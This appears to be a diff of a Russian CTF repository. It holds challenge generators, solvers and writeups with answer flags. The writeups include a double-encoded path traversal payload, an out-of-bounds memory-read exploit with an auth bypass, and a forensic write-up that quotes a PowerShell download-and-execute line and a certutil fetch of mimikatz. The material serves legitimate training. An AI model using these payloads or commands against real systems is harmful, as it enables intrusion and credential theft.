"GIT_COMMITTER_DATE": when.isoformat(),
|
||||
})
|
||||
sh(["git","commit","-m", message], cwd=root, env=env)
|
||||
|
||||
def set_mesh(root, value):
|
||||
cfgp = os.path.join(root,"router/config/router.json")
|
||||
with open(cfgp,"r+",encoding="utf-8") as f:
|
||||
data = json.load(f)
|
||||
data["mesh"] = value
|
||||
f.seek(0); json.dump(data, f, indent=2); f.truncate()
|
||||
|
||||
def add_vendor_note(root, b64text):
|
||||
p = os.path.join(root,"router/server.js")
|
||||
with open(p,"a",encoding="utf-8") as f:
|
||||
f.write(f"\n// vendor-note: {b64text}\n")
|
||||
|
||||
def remove_vendor_note(root):
|
||||
p = os.path.join(root,"router/server.js")
|
||||
with open(p,"r",encoding="utf-8") as f:
|
||||
s = f.read()
|
||||
s = re.sub(r"\n?//\s*vendor-note:[^\n]*\n?", "\n", s, flags=re.IGNORECASE)
|
||||
with open(p,"w",encoding="utf-8") as f:
|
||||
f.write(s)
|
||||
|
||||
def add_trailing_space_lines(path):
|
||||
with open(path, "r", encoding="utf-8") as f:
|
||||
lines = f.read().splitlines()
|
||||
with open(path, "w", encoding="utf-8") as f:
|
||||
for line in lines:
|
||||
f.write(line.rstrip(" ") + " \n")
|
||||
|
||||
def strip_trailing_space_lines(path):
|
||||
with open(path, "r", encoding="utf-8") as f:
|
||||
lines = f.read().splitlines()
|
||||
with open(path, "w", encoding="utf-8") as f:
|
||||
for line in lines:
|
||||
f.write(line.rstrip(" ") + "\n")
|
||||
|
||||
def snapshot_public_sources(root):
|
||||
for rel in ("kettle/server.js", "nas/server.js"):
|
||||
add_trailing_space_lines(os.path.join(root, rel))
|
||||
|
||||
def restore_public_sources(root):
|
||||
for rel in ("kettle/server.js", "nas/server.js"):
|
||||
strip_trailing_space_lines(os.path.join(root, rel))
|
||||
|
||||
def mutate_noise(root, i):
|
||||
choice = random.choice(["docs","router","printer","kettle","nas"])
|
||||
if choice == "docs":
|
||||
p = os.path.join(root,"docs/CHANGELOG.md")
|
||||
with open(p,"a",encoding="utf-8") as f:
|
||||
f.write(f"- maintenance {i}\n")
|
||||
elif choice in ("router","printer","kettle","nas"):
|
||||
p = os.path.join(root, f"{choice}/server.js") if choice=="router" else os.path.join(root,f"{choice}/server.js")
|
||||
# лёгкая косметика-комментарий
|
||||
with open(p,"a",encoding="utf-8") as f:
|
||||
f.write(f"\n// note: minor tweak {i}\n")
|
||||
|
||||
def init_repo(root, primary_author, authors):
|
||||
if os.path.exists(root):
|
||||
shutil.rmtree(root)
|
||||
os.makedirs(root, exist_ok=True)
|
||||
sh(["git","init","--initial-branch=main"], cwd=root)
|
||||
|
||||
write(os.path.join(root,"README.md"), BASE_README)
|
||||
write(os.path.join(root,"docs/CHANGELOG.md"), "## Changelog (public)\n")
|
||||
|
||||
# router
|
||||
write(os.path.join(root,"router/server.js"), ROUTER_SERVER)
|
||||
write(os.path.join(root,"router/package.json"), json.dumps(ROUTER_PKG, indent=2, ensure_ascii=False))
|
||||
write(os.path.join(root,"router/config/router.json"), json.dumps({"vendor":"Orbital Home","mesh":"OH-2194"}, indent=2))
|
||||
|
||||
# printer (публичный, безопасный)
|
||||
write(os.path.join(root,"printer/server.js"), PRINTER_SERVER_PUBLIC)
|
||||
write(os.path.join(root,"printer/package.json"), json.dumps(PRINTER_PKG_PUBLIC, indent=2, ensure_ascii=False))
|
||||
write(os.path.join(root,"printer/data/queue/readme.txt"), "public job\n")
|
||||
|
||||
# kettle (публичный, урезанный)
|
||||
write(os.path.join(root,"kettle/server.js"), KETTLE_SERVER_PUBLIC)
|
||||
write(os.path.join(root,"kettle/package.json"), json.dumps(KETTLE_PKG_PUBLIC, indent=2, ensure_ascii=False))
|
||||
|
||||
# nas (публичный, урезанный)
|
||||
write(os.path.join(root,"nas/server.js"), NAS_SERVER_PUBLIC)
|
||||
write(os.path.join(root,"nas/package.json"), json.dumps(NAS_PKG_PUBLIC, indent=2, ensure_ascii=False))
|
||||
|
||||
commit(root, "init(public): scaffold modules", TIME_START, primary_author)
|
||||
|
||||
def build_main(root, authors):
|
||||
t = TIME_START
|
||||
for i in range(1, MAIN_COMMITS+1):
|
||||
t = t + STEP_MAIN + timedelta(minutes=random.randint(0,59))
|
||||
mutate_noise(root, i)
|
||||
commit(root, random.choice(NOISE_MESSAGES), t, random.choice(authors))
|
||||
return t
|
||||
|
||||
def merge_noff(root, branch_name, message, when, author):
|
||||
sh(["git","checkout","main"], cwd=root)
|
||||
sh(["git","merge","--no-ff", branch_name, "-m", message], cwd=root)
|
||||
|
||||
def build_feature_branch(root, name, commits, base_time, authors):
|
||||
sh(["git","checkout","-b", name], cwd=root)
|
||||
t = base_time
|
||||
for i in range(commits):
|
||||
t = t + STEP_BRANCH + timedelta(minutes=random.randint(0,40))
|
||||
mutate_noise(root, 5000+i)
|
||||
commit(root, f"{name}: routine update {i+1}", t, random.choice(authors))
|
||||
merge_noff(root, name, f"merge: {name}", t + timedelta(minutes=5), random.choice(authors))
|
||||
sh(["git","branch","-d", name], cwd=root)
|
||||
|
||||
def build_secret_branch(root, base_time, authors):
|
||||
# ответвиться от текущего HEAD main
|
||||
sh(["git","checkout","-b", BRANCH_SECRET], cwd=root)
|
||||
t = base_time
|
||||
|
||||
# немного шума до секрета
|
||||
for i in range(2):
|
||||
t = t + STEP_BRANCH + timedelta(minutes=random.randint(0,30))
|
||||
mutate_noise(root, 8000+i)
|
||||
commit(root, random.choice(NOISE_MESSAGES), t, random.choice(authors))
|
||||
|
||||
# СЕКРЕТНЫЙ КОММИТ: OH-21B4 + base64-флаг как комментарий в router/server.js
|
||||
t = t + STEP_BRANCH
|
||||
set_mesh(root, "OH-21B4")
|
||||
add_vendor_note(root, FLAG_B64)
|
||||
snapshot_public_sources(root)
|
||||
commit(root, "router: set mesh id in config (staging bench)", t, random.choice(authors))
|
||||
|
||||
# ещё шум
|
||||
for i in range(2):
|
||||
t = t + STEP_BRANCH
|
||||
mutate_noise(root, 8100+i)
|
||||
commit(root, random.choice(NOISE_MESSAGES), t, random.choice(authors))
|
||||
|
||||
# вернуть прод-значение и удалить комментарий
|
||||
t = t + STEP_BRANCH
|
||||
set_mesh(root, "OH-2194")
|
||||
remove_vendor_note(root)
|
||||
restore_public_sources(root)
|
||||
commit(root, "router: revert mesh id to production", t, random.choice(authors))
|
||||
|
||||
# финальный шум на ветке
|
||||
t = t + STEP_BRANCH
|
||||
mutate_noise(root, 8200)
|
||||
commit(root, "chore: staging cleanup", t, random.choice(authors))
|
||||
|
||||
# squash-merge в main (в main ни OH-21B4, ни vendor-note не попадут)
|
||||
sh(["git","checkout","main"], cwd=root)
|
||||
sh(["git","merge","--squash", BRANCH_SECRET], cwd=root)
|
||||
t = t + STEP_BRANCH
|
||||
commit(root, f"merge: {BRANCH_SECRET}", t, random.choice(authors))
|
||||
# Ветку НЕ удаляем — пусть живёт
|
||||
|
||||
def tag_releases(root):
|
||||
sh(["git","tag","-a","v0.2.0","-m","public release 0.2.0"], cwd=root)
|
||||
sh(["git","tag","-a","v0.3.0","-m","public release 0.3.0"], cwd=root)
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("--author-name", default=None, help="Primary author name")
|
||||
parser.add_argument("--author-email", default=None, help="Primary author email")
|
||||
parser.add_argument("--push", default=None, help="Git remote URL to push (SSH or HTTPS)")
|
||||
args = parser.parse_args()
|
||||
|
||||
primary = (args.author_name or "Your Name", args.author_email or "you@example.com")
|
||||
authors = [primary] + [a for a in AUTHORS_DEFAULT if a[1] != primary[1]]
|
||||
|
||||
random.seed(42)
|
||||
root = os.path.abspath(REPO_NAME)
|
||||
init_repo(root, primary, authors)
|
||||
t_end_main = build_main(root, authors)
|
||||
|
||||
# пара симпатичных merge-веток
|
||||
for name, count in FEATURE_BRANCHES:
|
||||
build_feature_branch(root, name, count, t_end_main, authors)
|
||||
t_end_main = t_end_main + timedelta(hours=1)
|
||||
|
||||
# секретная ветка
|
||||
build_secret_branch(root, t_end_main, authors)
|
||||
|
||||
tag_releases(root)
|
||||
|
||||
print(f"[ok] repo created: {root}")
|
||||
print("\nПроверка локально:")
|
||||
print(" cd", REPO_NAME)
|
||||
print(" git log -S 'OH-21B4' --all --oneline")
|
||||
print(" git grep -n 'OH-21B4' $(git rev-list --all)")
|
||||
print(" git show $(git log -S 'OH-21B4' --all -n 1 --pretty=%H) | grep -i 'vendor-note'")
|
||||
print("\nПуш в GitHub вручную:")
|
||||
print(" git remote add origin <YOUR_GITHUB_REPO_URL>")
|
||||
print(" git push -u origin --all --tags")
|
||||
|
||||
if args.push:
|
||||
sh(["git","remote","add","origin", args.push], cwd=root)
|
||||
sh(["git","push","-u","origin","--all"], cwd=root)
|
||||
sh(["git","push","origin","--tags"], cwd=root)
|
||||
print("[ok] pushed to:", args.push)
|
||||
print("Проверь ветки/теги на GitHub UI.")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
92
GAME/osint/solver.py
Normal file
92
GAME/osint/solver.py
Normal file
@@ -0,0 +1,92 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import argparse
|
||||
import base64
|
||||
import re
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
def sh(args, cwd=None):
|
||||
proc = subprocess.run(
|
||||
args, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
|
||||
)
|
||||
if proc.returncode != 0:
|
||||
err = proc.stderr.strip() or proc.stdout.strip()
|
||||
cmd = " ".join(args)
|
||||
raise SystemExit(f"command failed: {cmd}\n{err}")
|
||||
return proc.stdout.strip()
|
||||
|
||||
|
||||
def default_clone_dir(repo_url, base_dir):
|
||||
name = repo_url.rstrip("/").split("/")[-1]
|
||||
if name.endswith(".git"):
|
||||
name = name[:-4]
|
||||
return base_dir / (name or "repo")
|
||||
|
||||
|
||||
def commit_candidates(repo_dir):
|
||||
patterns = ("vendor-note", "OH-21B4")
|
||||
for pattern in patterns:
|
||||
out = sh(["git", "log", "-S", pattern, "--all", "--pretty=%H"], cwd=repo_dir)
|
||||
commits = [line.strip() for line in out.splitlines() if line.strip()]
|
||||
if commits:
|
||||
return commits
|
||||
return []
|
||||
|
||||
|
||||
def find_vendor_note(repo_dir):
|
||||
for commit in commit_candidates(repo_dir):
|
||||
try:
|
||||
src = sh(["git", "show", f"{commit}:router/server.js"], cwd=repo_dir)
|
||||
except subprocess.CalledProcessError:
|
||||
continue
|
||||
match = re.search(r"vendor-note:\s*([A-Za-z0-9+/=]+)", src)
|
||||
if not match:
|
||||
continue
|
||||
b64_note = match.group(1)
|
||||
flag = base64.b64decode(b64_note).decode("utf-8", "replace")
|
||||
return commit, b64_note, flag
|
||||
raise SystemExit("vendor-note not found in history")
|
||||
|
||||
|
||||
def dump_sources(repo_dir, commit):
|
||||
paths = [
|
||||
"router/server.js",
|
||||
"router/config/router.json",
|
||||
"printer/server.js",
|
||||
"kettle/server.js",
|
||||
"nas/server.js",
|
||||
]
|
||||
for rel in paths:
|
||||
content = sh(["git", "show", f"{commit}:{rel}"], cwd=repo_dir)
|
||||
print(f"\n--- {rel} @ {commit} ---")
|
||||
print(content.rstrip("\n"))
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("repo", help="Git URL or local path")
|
||||
parser.add_argument("--dest", default=None, help="Clone directory (default: <script_dir>/<repo>)")
|
||||
args = parser.parse_args()
|
||||
|
||||
base_dir = Path(__file__).resolve().parent
|
||||
clone_dir = Path(args.dest).resolve() if args.dest else default_clone_dir(args.repo, base_dir)
|
||||
|
||||
if clone_dir.exists():
|
||||
print(f"[i] using existing repo: {clone_dir}")
|
||||
else:
|
||||
print(f"[i] cloning into: {clone_dir}")
|
||||
sh(["git", "clone", args.repo, str(clone_dir)])
|
||||
sh(["git", "fetch", "--all", "--prune"], cwd=clone_dir)
|
||||
|
||||
commit, b64_note, flag = find_vendor_note(clone_dir)
|
||||
print(f"[ok] clone_dir: {clone_dir}")
|
||||
print(f"[ok] commit: {commit}")
|
||||
print(f"[ok] vendor_note_b64: {b64_note}")
|
||||
print(f"[ok] flag: {flag}")
|
||||
dump_sources(clone_dir, commit)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
60
GAME/osint/writeup.md
Normal file
60
GAME/osint/writeup.md
Normal file
@@ -0,0 +1,60 @@
|
||||
# Writeup: Orbital Home / OH-21B4
|
||||
|
||||
## Вводные из игры
|
||||
Участники получили две зацепки: название производителя `Orbital Home` и параметр `mesh` со значением `OH-21B4` (в легенде мог быть написан как mash/mesh).
|
||||
|
||||
## Поиск репозитория
|
||||
1) По ключу производителя:
|
||||
- запросы: `"Orbital Home"`, `orbital.home`, `"Orbital Home" iot`.
|
||||
- подсказка: в коммитах встречаются e-mailы вида `@orbital.home`, что хорошо ищется по GitHub.
|
||||
2) По связке с mesh:
|
||||
- запросы: `"OH-21B4" github`, `"mesh" "Orbital Home"`.
|
||||
|
||||
В результате находится публичный репозиторий с IoT-модулями (router/printer/kettle/nas). В README он описан как публичная сборка «Orbital Home IoT Suite».
|
||||
|
||||
## Что внутри репозитория
|
||||
- `router/` — сервис роутера и `config/router.json` с полями `vendor` и `mesh`.
|
||||
- `printer/`, `kettle/`, `nas/` — публичные версии сервисов (функции урезаны, часть эндпоинтов закомментирована).
|
||||
- История содержит доп. ветку `staging/router-mesh`, где во время стендовых проверок меняли `mesh`.
|
||||
|
||||
## Как извлечь артефакт
|
||||
1) Клонировать репозиторий и посмотреть все ветки:
|
||||
|
||||
```bash
|
||||
git clone <repo-url>
|
||||
cd <repo>
|
||||
git branch -a
|
||||
```
|
||||
|
||||
2) Поискать `OH-21B4` по истории всех веток:
|
||||
|
||||
```bash
|
||||
git log --all -S "OH-21B4" --oneline
|
||||
# или
|
||||
git grep -n "OH-21B4" $(git rev-list --all)
|
||||
```
|
||||
|
||||
3) Открыть найденный коммит:
|
||||
|
||||
```bash
|
||||
git show <commit>:router/config/router.json
|
||||
git show <commit>:router/server.js
|
||||
```
|
||||
|
||||
В `router/server.js` обнаруживается строка вида:
|
||||
|
||||
```
|
||||
// vendor-note: <base64>
|
||||
```
|
||||
|
||||
4) Декодировать base64:
|
||||
|
||||
```bash
|
||||
echo <base64> | base64 -d
|
||||
```
|
||||
|
||||
Получаем флаг:
|
||||
|
||||
```
|
||||
caplag{Orb1ta1-h0me-vendor-found-needed-branch-version}
|
||||
```
|
||||
39
GAME/printer/WRITEUP.md
Normal file
39
GAME/printer/WRITEUP.md
Normal file
@@ -0,0 +1,39 @@
|
||||
# Printer — разбор решения
|
||||
|
||||
## Разведка
|
||||
- Главная страница `/` показывает список файлов в очереди печати.
|
||||
- Роут `/jobs/preview?file=...` отдаёт файл из `data/queue`.
|
||||
- В очереди есть `readme.txt`, где подсказаны каталоги `/data/notes` и `/data/queue`.
|
||||
|
||||
## Уязвимость
|
||||
В `/jobs/preview` путь для чтения строится так:
|
||||
1) `once = decodeURIComponent(raw)`
|
||||
2) Проверка `once.includes('..')`
|
||||
3) `p = decodeURIComponent(once)` (возможен и третий decode)
|
||||
4) `path.join(QUEUE_DIR, p)`
|
||||
|
||||
Проверка на `..` делается только после первого декодирования. Если закодировать точки дважды, первая проверка их не увидит, а после второго decode появится `..` и сработает обход в `../`.
|
||||
|
||||
## Эксплуатация
|
||||
Дважды кодируем `..` и `/`:
|
||||
- `..` → `%2e%2e` → `%252e%252e`
|
||||
- `/` → `%2f` → `%252f`
|
||||
|
||||
Запрос:
|
||||
```
|
||||
/jobs/preview?file=%252e%252e%252fnotes%252fflag.txt
|
||||
```
|
||||
|
||||
Промежуточные преобразования:
|
||||
- после первого decode: `%2e%2e%2fnotes%2fflag.txt` (нет `..`)
|
||||
- после второго decode: `../notes/flag.txt`
|
||||
|
||||
`path.join` формирует путь `data/queue/../notes/flag.txt`, что приводит к чтению флага.
|
||||
|
||||
## Результат
|
||||
Ответ содержит содержимое `flag.txt`, включая флаг:
|
||||
```
|
||||
caplag{chain_m_printer_traversa}
|
||||
PRINTER_PROOF=printer-proof-3d3130
|
||||
GAME_code=Printer-1s-down-move-next
|
||||
```
|
||||
22
GAME/router/README.md
Normal file
22
GAME/router/README.md
Normal file
@@ -0,0 +1,22 @@
|
||||
TechnicalTroubles | Web | Easy
|
||||
|
||||
## Автор
|
||||
instanc3:@instanc3
|
||||
|
||||
## Информация для участников
|
||||
Опять какие-то неполадки, когда сайт так нужен. Может смогу найти обходной путь, если заглянуть с изнанки.
|
||||
|
||||
## Решение
|
||||
1. Пройти на страницу "Routers"
|
||||
2. Указываем в поле ввода модель роутера, которую получили из игры. В ответ приходит сообщение, что на сайте технические работы в определенное время.
|
||||
3. Заходим в инструменты разработчика и наблюдаем, что в запросе имеется кастомный заголовок "X-Send-Time", который содержит текущее время участника.
|
||||
4. Необходимо указать в этом заголовке время, которое не попадает под время технического обслуживания.
|
||||
5. После успешного подбора времени придет ответ от сервера, что у нас неверный UserAgent ("Incorrect User-Agent. Hint: SHA256(<BrowserName>/<BVer> (<OSName> <OSVer>; <Arch>) <EngineName>/<EVer>) == {}").
|
||||
6. Данные для заполнения UserAgent необходимо найти во внутриигровом браузере. Информация расбросана по параметрам системы и браузера.
|
||||
8. После успешного подбора участник получит флаг и код, который необходимо ввести в игре.
|
||||
|
||||
## Флаг
|
||||
`caplag{4r!eNd_@m0ng_$tranGer$}`
|
||||
|
||||
## Код для игры
|
||||
`SVC-2025-7438382`
|
||||
13
HiddenLayer-Stegano/README.md
Normal file
13
HiddenLayer-Stegano/README.md
Normal file
@@ -0,0 +1,13 @@
|
||||
## Информация для участников
|
||||
Вы обнаружили загадочное изображение layered_code.png, которое, по слухам, скрывает секретный флаг. Раскройте тайну, спрятанную в его пикселях! Формат флага: caplag{...}
|
||||
Порядок цвета может быть не таким, как вы привыкли видеть.
|
||||
|
||||
## Выдать участникам
|
||||
- `public/layered_code.png`
|
||||
|
||||
## Решение
|
||||
Решение с помощью stegsolve: [solve/solve with stegsolve.jpg](solve/solve with stegsolve.jpg)
|
||||
|
||||
## Флаг
|
||||
`caplag{D0g3C01n_2Th3M00n}`
|
||||
|
||||
BIN
HiddenLayer-Stegano/solve/solve with stegsolve.png
Normal file
BIN
HiddenLayer-Stegano/solve/solve with stegsolve.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.2 MiB |
55
Imposter-Forensic/writeup.md
Normal file
55
Imposter-Forensic/writeup.md
Normal file
@@ -0,0 +1,55 @@
|
||||
## Q1) Укажите версию установленного Microsoft Office
|
||||
|
||||
1) Проверили файл `C:\Program Files (x86)\Microsoft Office\Office12\WINWORD.EXE`.
|
||||
2) Из PE‑ресурса `FileVersion/ProductVersion` получил версию.
|
||||
|
||||
Итог: `caplag{12.0.4518.1014}`
|
||||
|
||||
## Q2) Определите начальный вектор атаки. Укажите почту, откуда пришел вирусный файл и название файла (с расширением). формат: email_filename
|
||||
|
||||
1) В профиле Thunderbird открыли письмо: `C:\Users\PC31\AppData\Roaming\thunderbird\Profiles\g59pkejj.default-release\Mail\Local Folders\mail.eml`.
|
||||
2) В заголовках письма: `From: "HR Department" <hr@gdhwiXzuedhi.org>`.
|
||||
3) Во вложениях письма: `filename="shtatnoe-raspisanie.xlsm"`.
|
||||
|
||||
Итог: `caplag{hr@gdhwiXzuedhi.org_shtatnoe-raspisanie.xlsm}`
|
||||
|
||||
## Q3) Укажите ссылку, которая использовалась для загрузки и запуска второй стадии атаки
|
||||
|
||||
1) Открыли `C:\Users\PC31\Documents\shtatnoe-raspisanie.xlsm`.
|
||||
2) `olevba` показал `Workbook_Open`, где строка дважды декодируется из base64.
|
||||
3) После декодирования получен URL: `https://pastebin.com/raw/hz2rEByR`, который передается в `powershell.exe -c IEX (New-Object Net.WebClient).DownloadString(...)`.
|
||||
|
||||
Итог: `caplag{https://pastebin.com/raw/hz2rEByR}`
|
||||
|
||||
## Q4) Через Reverse shell хакер скачал еще один вредоносный файл для третей стадии атаки. Укажите URL
|
||||
|
||||
1) Открыли кеш загрузок CryptoAPI: `C:\Users\PC31\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5E417CD142DEC44E17C581F01DB81204`.
|
||||
2) Внутри файла в UTF‑16LE хранится полный URL загрузки архива.
|
||||
|
||||
Итог: `caplag{https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip}`
|
||||
|
||||
## Q5) Укажите полный путь к архиву где лежит mimikatz и название программы (c расширением) с помощью которой хакер скачал его. формат: Path_filename
|
||||
|
||||
1) В `C:\Windows\Prefetch\CERTUTIL.EXE-79A712E5.pf` (после распаковки MAM/LZXPRESS‑Huffman) в списке ссылок указаны файлы:
|
||||
- `C:\Users\PC31\AppData\Local\Temp\.settings.zip`
|
||||
- `C:\Windows\SysWOW64\certutil.exe`
|
||||
2) Это подтверждает, что архив с mimikatz сохранен как `.settings.zip`, а скачивание выполнено `certutil.exe`.
|
||||
|
||||
Итог: `caplag{C:\Users\PC31\AppData\Local\Temp\.settings.zip_certutil.exe}`
|
||||
|
||||
## Q6) Укажите полную дату последнего запуска certutil.exe и кол-во запусков этой программы. формат: дд.мм.гггг/чч:мм:cc_count.
|
||||
|
||||
1) В `C:\Windows\Prefetch\CERTUTIL.EXE-79A712E5.pf` распаковали MAM‑блок (LZXPRESS‑Huffman).
|
||||
2) В распакованном файле:
|
||||
- `last_run_time` (FILETIME) находится по смещению `0x80` → `2025‑06‑30 12:18:36Z` (UTC).
|
||||
- `run_count` (DWORD) по смещению `0xC8` → `1`.
|
||||
3) Перевод в локальное время (UTC+3) дает `30.06.2025 15:18:36`.
|
||||
|
||||
Итог: `caplag{30.06.2025/15:18:36_1}`
|
||||
|
||||
## Q7) Укажите сайт который пользователь посетил больше всего
|
||||
|
||||
1) История браузера пользователя находится в Edge: `C:\Users\PC31\AppData\Local\Microsoft\Edge\User Data\Default\History`.
|
||||
2) В SQLite‑таблице `urls` максимальный `visit_count` у страниц домена `unisender.com`.
|
||||
|
||||
Итог: `caplag{https://www.unisender.com}`
|
||||
29
Jira/writeup.md
Normal file
29
Jira/writeup.md
Normal file
@@ -0,0 +1,29 @@
|
||||
# Jira: CVE-2025-22157 - обход контроля доступа при Print/Export
|
||||
|
||||
## Сценарий
|
||||
Была развернута уязвимая версия Jira. Для каждого стажера создали sub-task, к которому у него не было прав. Через уязвимость он мог увидеть название (`summary`) и ссылку на эту подзадачу, выполнив Print или Export Word у родительской задачи.
|
||||
|
||||
## Суть уязвимости
|
||||
CVE-2025-22157 описывает утечку данных при печати/экспорте. Пользователь без доступа к подзадаче может получить ее `summary` и ссылку из результата Print/Export родительской задачи. Это не "захват админки", а обход контроля доступа на уровне экспорта.
|
||||
|
||||
## Проверка версии
|
||||
1. Administration -> System -> System info (или About Jira).
|
||||
2. Версии 9.12.0-9.12.19 уязвимы. Например, 9.12.18 попадает в диапазон.
|
||||
|
||||
## Шаги воспроизведения
|
||||
1. Создать родительскую задачу и sub-task, ограничить доступ к sub-task.
|
||||
2. Зайти под пользователем без прав.
|
||||
3. Выполнить Print или Export Word у родительской задачи.
|
||||
4. В результате будет виден `summary` и ссылка на sub-task.
|
||||
|
||||
## Влияние
|
||||
- Утечка метаданных закрытых задач.
|
||||
- Раскрытие структуры проекта и активности.
|
||||
|
||||
## Митигирование
|
||||
- Обновить Jira до версии с фиксом.
|
||||
- Временно ограничить Print/Export для ролей без доступа к подзадачам.
|
||||
|
||||
## Источники
|
||||
- Atlassian Jira advisory по CVE-2025-22157
|
||||
- Atlassian Documentation (диапазон версий)
|
||||
78
MEGA-router/writeup_tasks_1_2.md
Normal file
78
MEGA-router/writeup_tasks_1_2.md
Normal file
@@ -0,0 +1,78 @@
|
||||
# Разбор решения MEGA-router: задачи 1 и 2
|
||||
|
||||
Ниже разбор решения первых двух задач. Сначала общий вход (как получить бинарник), затем отдельно по каждому флагу.
|
||||
|
||||
## Общий вход: утечка бинарника через /ping
|
||||
|
||||
- Авторизация не нужна: `logged_in()` просто проверяет, что в Cookie есть и `username=`, и `password=`; значения не важны (`challenge/src/server_http.hpp`). Альтернатива — дефолтные креды `admin/admin` или `admin/admin888` (`challenge/src/server.cpp`).
|
||||
- `/ping?id=...` читает 4096 байт из `Global.BUFFER + offset*4096` без проверки границ и отдает base64 (`challenge/src/server.cpp`). Падение дочернего процесса дает пустой `result`, сервер не падает.
|
||||
- Зацепка: зайти на `/portal` с любыми Cookie `username=...; password=...` и открыть `main.js` — там видно, что клиент делает `POST /ping` и затем многократные `GET /ping?id=...`, то есть это ключевая точка.
|
||||
- Так как `offset` — беззнаковый и `-` запрещен, читаем «назад» через переполнение: `4096 = 2^12`, значит `2^64/4096 = 2^52`. Берем `offset = 2^52 - N`, получаем адрес `BUFFER - N*4096`. Этим выходим на `.text`/`.rodata` и находим ELF.
|
||||
- Минимальный запрос, который дает первую зацепку в ответе (base64-кусок памяти) и позволяет начать сканировать ELF:
|
||||
|
||||
```
|
||||
GET /ping?id=4503599627370495 HTTP/1.1
|
||||
Host: <host>:31337
|
||||
Cookie: username=a; password=b
|
||||
```
|
||||
- Дальше — обычный дамп страниц и склейка в файл; можно искать строку `ELF` или специфичные строки вида `/giv_me_please_flag_...`.
|
||||
|
||||
## Задача 1 (Flag 1)
|
||||
|
||||
- В бинарнике виден скрытый эндпоинт `"/giv_me_please_flag_nu_ochen_nado"` (`challenge/src/server.cpp`).
|
||||
- Делаем GET на него, ответ — редирект на `/index` с заголовком `Flag: <base64>`. Декодируем base64.
|
||||
- Дешифрование: байты зашифрованы `ROTR3` после XOR с `(i*4 + 0xc0)`. Значит, для каждого байта: `ROTL3`, затем XOR.
|
||||
|
||||
```python
|
||||
import base64
|
||||
|
||||
def rotl8(x, n):
|
||||
return ((x << n) | (x >> (8 - n))) & 0xff
|
||||
|
||||
cipher = base64.b64decode(flag_header)
|
||||
plain = bytes(
|
||||
rotl8(b, 3) ^ ((i * 4 + 0xC0) & 0xff)
|
||||
for i, b in enumerate(cipher)
|
||||
)
|
||||
print(plain.decode())
|
||||
```
|
||||
|
||||
- Итоговый флаг: `caplag{r0ut3r_p0rtals_ar3_ult1mat3ly_imp3n3trabl3_b3caus3_th3y_ar3_r3al_w3bapp}`.
|
||||
|
||||
## Задача 2 (Flag 2)
|
||||
|
||||
- В логике `/login` видно, что для юзера `hoEjB9OtHLCuDibAT6Ag` вызывается `gen_flag`, но он защищен длинной подстрокой и MD5 (прямой вызов нецелесообразен) (`challenge/src/server.cpp`).
|
||||
- В `gen_flag` видно массив `flag_byte_offsets[]` и схему: берется `pi_bytes.bin` (2048 байт, соответствуют позициям 1_000_000..1_002_047), а флаг строится как `bytes[offset - 1_000_000]`.
|
||||
- Поэтому нужно: (1) вытащить `flag_byte_offsets[]` из слитого бинарника; (2) сгенерировать байты π для диапазона 1_000_000..1_002_047. Функция `get_byte` — это две hex‑цифры π подряд. Быстро считается через BBP (как в `#ifdef DEBUG` части, `challenge/src/server.cpp`).
|
||||
|
||||
```python
|
||||
def pi_hex_digit(n):
|
||||
n -= 1
|
||||
def series(m):
|
||||
s = 0.0
|
||||
for k in range(n + 1):
|
||||
ak = 8 * k + m
|
||||
s = (s + pow(16, n - k, ak) / ak) % 1.0
|
||||
k = n + 1
|
||||
t = 1.0
|
||||
while True:
|
||||
ak = 8 * k + m
|
||||
t /= 16.0
|
||||
term = t / ak
|
||||
if term < 1e-17:
|
||||
break
|
||||
s = (s + term) % 1.0
|
||||
k += 1
|
||||
return s
|
||||
x = (4*series(1) - 2*series(4) - series(5) - series(6)) % 1.0
|
||||
return int(x * 16)
|
||||
|
||||
def get_byte(pos):
|
||||
return (pi_hex_digit(pos) << 4) | pi_hex_digit(pos + 1)
|
||||
|
||||
pi_bytes = [get_byte(p) for p in range(1_000_000, 1_002_048)]
|
||||
flag = ''.join(chr(pi_bytes[o - 1_000_000]) for o in offsets)
|
||||
print(flag)
|
||||
```
|
||||
|
||||
- Итоговый флаг: `caplag{leibniz_david_bailey_peter_b0rwein_and_sim0n_pl0uffe_good_idea_guys_00}`.
|
||||
8
Marathon-PPC/README.md
Normal file
8
Marathon-PPC/README.md
Normal file
@@ -0,0 +1,8 @@
|
||||
## Информация для участников
|
||||
> Каждый уважающий себя CTFер обязан решать 150 примеров за 10 секунд
|
||||
|
||||
## Решение
|
||||
Готовый скрипт: [solve/solve.py](solve/solver.py).
|
||||
|
||||
## Флаг
|
||||
`caplag{There_1s_n0thing_m0re_1mp0rtant_f0r_pract1ce_than_g00d_the0ry}`
|
||||
162
Marathon-PPC/solve/solver.py
Normal file
162
Marathon-PPC/solve/solver.py
Normal file
@@ -0,0 +1,162 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
|
||||
import sys
|
||||
import os
|
||||
import math
|
||||
import socket
|
||||
from typing import List, Tuple
|
||||
|
||||
|
||||
def fib_fast(n: int) -> int:
|
||||
def f(k: int) -> Tuple[int, int]:
|
||||
if k == 0:
|
||||
return (0, 1)
|
||||
a, b = f(k >> 1)
|
||||
c = a * (2 * b - a)
|
||||
d = a * a + b * b
|
||||
if k & 1:
|
||||
return (d, c + d)
|
||||
else:
|
||||
return (c, d)
|
||||
return f(n)[0]
|
||||
|
||||
|
||||
def arith_sum(a: int, b: int, s: int) -> int:
|
||||
|
||||
n = (b - a) // s + 1
|
||||
return n * (a + b) // 2
|
||||
|
||||
|
||||
def integral_poly(a: int, b: int, coeff: List[int]) -> int:
|
||||
|
||||
res = 0
|
||||
for k, c in enumerate(coeff):
|
||||
e = k + 1
|
||||
